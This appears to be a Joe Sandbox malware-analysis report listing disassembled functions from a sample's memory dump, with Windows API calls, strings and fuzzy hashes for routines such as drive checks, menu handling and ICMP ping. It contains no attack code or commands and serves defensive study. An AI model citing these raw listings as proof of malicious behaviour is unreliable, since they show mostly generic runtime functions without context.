Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 9df07a3607737216654478fc3a38ccabe81016e4e185f93d7c945d66a475b3c1
Instruction ID: ac368873c1541c427de78d463f733d081b595b0ac94a1d7eda687a5dcf5b93d0
Opcode Fuzzy Hash: 9df07a3607737216654478fc3a38ccabe81016e4e185f93d7c945d66a475b3c1
Instruction Fuzzy Hash: EF41E431004154EFDB255F28EC9CBB93B65EB06331F654365FE698A1E1C7318C82DB21

Function 0025A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0027F910), ref: 0025A90B
GetDriveTypeW.KERNEL32(00000061,002A89A0,00000061), ref: 0025A9D5
_wcscpy.LIBCMT ref: 0025A9FF

Strings

unknown, xrefs: 0025A996
fixed, xrefs: 0025A953
network, xrefs: 0025A969
cdrom, xrefs: 0025A927
all, xrefs: 0025A911
removable, xrefs: 0025A93D
ramdisk, xrefs: 0025A97F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 397201f3349be750d0d4af82231c029212435e3e4db100f317ee7b820fdb4484
Instruction ID: abc07213f966368c66e8c3dd700615896849b3a9d4078b37a82441118fcee867
Opcode Fuzzy Hash: 397201f3349be750d0d4af82231c029212435e3e4db100f317ee7b820fdb4484
Instruction Fuzzy Hash: E051DC311283029FC300EF14C892ABFB7E5FFA5301F10492DFA96572A2DB709969CA53

Function 001F9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 001F9862
__swprintf.LIBCMT ref: 001F98AC
__i64tow.LIBCMT ref: 0022F5E6

Strings

%.15g, xrefs: 001F98A6
0x%p, xrefs: 0022F5C8
True, xrefs: 0022F5A7
False, xrefs: 0022F5AE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 8303ddec930b5c39b74edf42c4aede7a8c3d6ae211a1855c531f131620617a40
Instruction ID: 19bbb23f116ff248e2b0f956b1f0d61deccc8de39665c1a830d55f4fc50abeda
Opcode Fuzzy Hash: 8303ddec930b5c39b74edf42c4aede7a8c3d6ae211a1855c531f131620617a40
Instruction Fuzzy Hash: 2841C57152020DAFDB28EF74E942A7677F9EF06300F60447EE649DA291EA7199618B10

Function 00277152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0027716A
CreateMenu.USER32 ref: 00277185
SetMenu.USER32(?,00000000), ref: 00277194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00277221
IsMenu.USER32(?), ref: 00277237
CreatePopupMenu.USER32 ref: 00277241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0027726E
DrawMenuBar.USER32 ref: 00277276

Strings

0, xrefs: 00277160
F, xrefs: 00277262

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: bf21ea52f0e85034bc797404df0190f39623d7f8bb3f4e2a6a7f9254527e3630
Instruction ID: 6c32c0f80cd1f16ba4d89a1bfc48e96be1aed9f8038e36e81cb513c029ff840d
Opcode Fuzzy Hash: bf21ea52f0e85034bc797404df0190f39623d7f8bb3f4e2a6a7f9254527e3630
Instruction Fuzzy Hash: 0F416974A15206EFDB20DF64E988E9ABBB5FF48310F144028FD5997361D731A920CFA0

Function 002774BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0027755E
CreateCompatibleDC.GDI32(00000000), ref: 00277565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00277578
SelectObject.GDI32(00000000,00000000), ref: 00277580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0027758B
DeleteDC.GDI32(00000000), ref: 00277594
GetWindowLongW.USER32(?,000000EC), ref: 0027759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 002775B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 002775BE

Strings

static, xrefs: 002774F6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: d6ea022313b4c0d55dae9d946b83c2f407627ea1ea960cbf678a7037447afdf5
Instruction ID: 972b7ef2953773abcf712ceb638b6089f9d513be56e7d7ca80ccdb2287423e28
Opcode Fuzzy Hash: d6ea022313b4c0d55dae9d946b83c2f407627ea1ea960cbf678a7037447afdf5
Instruction Fuzzy Hash: 74318D72119215BBDF129F64ED09FEB3B69FF09320F114224FA1DA61A0D731D861DBA4

Function 00216E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00216E3E

Part of subcall function 00218B28: __getptd_noexit.LIBCMT ref: 00218B28

__gmtime64_s.LIBCMT ref: 00216ED7
__gmtime64_s.LIBCMT ref: 00216F0D
__gmtime64_s.LIBCMT ref: 00216F2A
__allrem.LIBCMT ref: 00216F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00216F9C
__allrem.LIBCMT ref: 00216FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00216FD1
__allrem.LIBCMT ref: 00216FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00217006
__invoke_watson.LIBCMT ref: 00217077

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: 96465a9da3bef01940356c601a5d21c36d4ec8f51bcc2ebe65f99037dba13e0d
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 1271F776A10717ABD714EE68DC81BEAB3F8AF64324F144239F514D7681E770E9A08BD0

Function 00252527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00252542
GetMenuItemInfoW.USER32(002B5890,000000FF,00000000,00000030), ref: 002525A3
SetMenuItemInfoW.USER32(002B5890,00000004,00000000,00000030), ref: 002525D9
Sleep.KERNEL32(000001F4), ref: 002525EB
GetMenuItemCount.USER32(?), ref: 0025262F
GetMenuItemID.USER32(?,00000000), ref: 0025264B
GetMenuItemID.USER32(?,-00000001), ref: 00252675
GetMenuItemID.USER32(?,?), ref: 002526BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00252700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00252714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00252735

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 0826a0ae34ea5fdcb1a8a43a72994d337dd68fae6ce767d11ebae7658482e105
Instruction ID: 35142cc36d4b51297d0b6a812c58e20f758c24b30df099f0a0b5f4e66bb2b10d
Opcode Fuzzy Hash: 0826a0ae34ea5fdcb1a8a43a72994d337dd68fae6ce767d11ebae7658482e105
Instruction Fuzzy Hash: 8B61AC7092024AEFDB11CF64DD88EBEBBB8EB06306F540159EC41A7291D771AD6DCB24

Function 00276F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00276FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00276FA8
GetWindowLongW.USER32(?,000000F0), ref: 00276FCC
_memset.LIBCMT ref: 00276FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00276FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00277067

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 70efc76b27b1af8770f9233a3ece7af61e7e91b28c876ce6b16c0bf9257ee6f3
Instruction ID: dcd36db9cdc8161e8ca64553481845c04f24409b9e31a1a569160b643d54761e
Opcode Fuzzy Hash: 70efc76b27b1af8770f9233a3ece7af61e7e91b28c876ce6b16c0bf9257ee6f3
Instruction Fuzzy Hash: 6E618A71A10218AFDB11DFA4CC85FEE77B8AB09710F104199FA19AB2A1C771AD51DFA0

Function 00246B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00246BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00246C18
VariantInit.OLEAUT32(?), ref: 00246C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00246C4A
VariantCopy.OLEAUT32(?,?), ref: 00246C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00246CB1
VariantClear.OLEAUT32(?), ref: 00246CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00246CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00246CDC
VariantClear.OLEAUT32(?), ref: 00246CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00246CF9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 6d6d09ebf7f14c24ef1196b010bb764531bfdea278496438419b3ef1d38f63ad
Instruction ID: 1996325c0e357de724af51ec812f27e255aeabb25eb2e70b8d2ffe376a09dd6a
Opcode Fuzzy Hash: 6d6d09ebf7f14c24ef1196b010bb764531bfdea278496438419b3ef1d38f63ad
Instruction Fuzzy Hash: 1E417231A101199FCF14DFA8D99C9AEBBB9FF08354F008069EA55E7261CB30A955CFA1

Function 00265732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00265793
inet_addr.WSOCK32(?,?,?), ref: 002657D8
gethostbyname.WSOCK32(?), ref: 002657E4
IcmpCreateFile.IPHLPAPI ref: 002657F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00265862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00265878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 002658ED
WSACleanup.WSOCK32 ref: 002658F3

Strings

Ping, xrefs: 00265816

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: d0da1ad25beac76a54ba3a019b366ef39a535b2b123293553fcaade9ef27f924
Instruction ID: 0fc007a226eae5bacba44adc0ace919de890d4f6178a125e7ffbe327fa925d70
Opcode Fuzzy Hash: d0da1ad25beac76a54ba3a019b366ef39a535b2b123293553fcaade9ef27f924
Instruction Fuzzy Hash: 52516F316147119FD710AF24DC49B2AB7E4EF49720F044529F95ADB2A1DB70E890CF42

Function 0025B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0025B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0025B546
GetLastError.KERNEL32 ref: 0025B550
SetErrorMode.KERNEL32(00000000,READY), ref: 0025B5BD

Strings

READY, xrefs: 0025B596
UNKNOWN, xrefs: 0025B575
INVALID, xrefs: 0025B58F
NOTREADY, xrefs: 0025B57C
READONLY, xrefs: 0025B588

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 4b76ad9a6f0b496950b3ace605483270afd9884aed7199bde250fe022fdeee78
Instruction ID: 0fe37290339694c5baeeddb15ba9d451753c9085427d190a5546f1cc221eb95c
Opcode Fuzzy Hash: 4b76ad9a6f0b496950b3ace605483270afd9884aed7199bde250fe022fdeee78
Instruction Fuzzy Hash: A331A135A1020A9FCB05EF68C845EBD77B4FF09316F504065FA05D7291EB709E6ACB51

Function 00248F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 0024AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0024AABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00249014
GetDlgCtrlID.USER32 ref: 0024901F
GetParent.USER32 ref: 0024903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 0024903E
GetDlgCtrlID.USER32(?), ref: 00249047
GetParent.USER32(?), ref: 00249063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00249066

Strings

ComboBox, xrefs: 00248F9C
ListBox, xrefs: 00248FD1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: ceda5b6cef946ff1b4e60b2a55b12bc5a2777d18264a3e8486a008f8695b1a48
Instruction ID: 62f6ab9dccc934aa7268c7e4adbd137cf99e6b5b8ad9f19b9b997332b39365b6
Opcode Fuzzy Hash: ceda5b6cef946ff1b4e60b2a55b12bc5a2777d18264a3e8486a008f8695b1a48
Instruction Fuzzy Hash: DE21D370A14108BFDF08ABA0DC89EFEBBB9EF59310F100155FA25972E1DB755869DE20

Function 0024907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 0024AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0024AABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 002490FD
GetDlgCtrlID.USER32 ref: 00249108
GetParent.USER32 ref: 00249124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00249127
GetDlgCtrlID.USER32(?), ref: 00249130
GetParent.USER32(?), ref: 0024914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 0024914F

Strings

ComboBox, xrefs: 00249087
ListBox, xrefs: 002490BC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: fb61079f4708c0d7783a3ad315a14145779b60da60037ba9d61dd2ac4aa0c218
Instruction ID: 8d9e12af15f34175c5ebfe4d1bdc85186af923357ef977130b8d75266533e150
Opcode Fuzzy Hash: fb61079f4708c0d7783a3ad315a14145779b60da60037ba9d61dd2ac4aa0c218
Instruction Fuzzy Hash: 2521F574A10109BFDF04ABA0DC89EFEBB78FF55300F000016BA29972A1DB754865DF20

Function 00249163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0024916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00249184
_wcscmp.LIBCMT ref: 00249196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00249211

Strings

details, xrefs: 002491BF
largeicons, xrefs: 002491A5
smallicons, xrefs: 002491D9
list, xrefs: 002491F3
SHELLDLL_DefView, xrefs: 00249190

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: ba8f85b0af9f9c8c8ba05d9dabc755138f4944e2ee73fc57c5fcb0c10b6a1c42
Instruction ID: 87d46e5c7910f10d2fb4d6a5b76ab9ce4dba76df2cb5b0e6d3fe5ad747f82f6f
Opcode Fuzzy Hash: ba8f85b0af9f9c8c8ba05d9dabc755138f4944e2ee73fc57c5fcb0c10b6a1c42
Instruction Fuzzy Hash: 6811E73627C307BAEA196624EC0BDA737DC9B16720F200026FD14A50D5EEA268F15D54

Function 00257990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00257A6C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: ea47c71a1744eea6446a6180c45db744697d48e5dc31741308b5c049a4bbcb02
Instruction ID: 202e133bf4165fcd131949a818217692443abf6c69226b47947a7e7ac6ccd796
Opcode Fuzzy Hash: ea47c71a1744eea6446a6180c45db744697d48e5dc31741308b5c049a4bbcb02
Instruction Fuzzy Hash: 40B1A27196821A9FDB00DF94E884BBEB7F4FF09322F204026EA01E7241D774E959CB94

Function 001FFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 001FFAA6
OleUninitialize.OLE32(?,00000000), ref: 001FFB45
UnregisterHotKey.USER32(?), ref: 001FFC9C
DestroyWindow.USER32(?), ref: 002345D6
FreeLibrary.KERNEL32(?), ref: 0023463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00234668

Strings

close all, xrefs: 001FFAA1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 5ca17e6015e8639e5867d02eb9a22842f14cd08719b93fb96b461c6ef806ecb0
Instruction ID: 482963e558b3f49e997799d2254a3b159c9381d91f2c08c3ff84ff82fa4cd593
Opcode Fuzzy Hash: 5ca17e6015e8639e5867d02eb9a22842f14cd08719b93fb96b461c6ef806ecb0
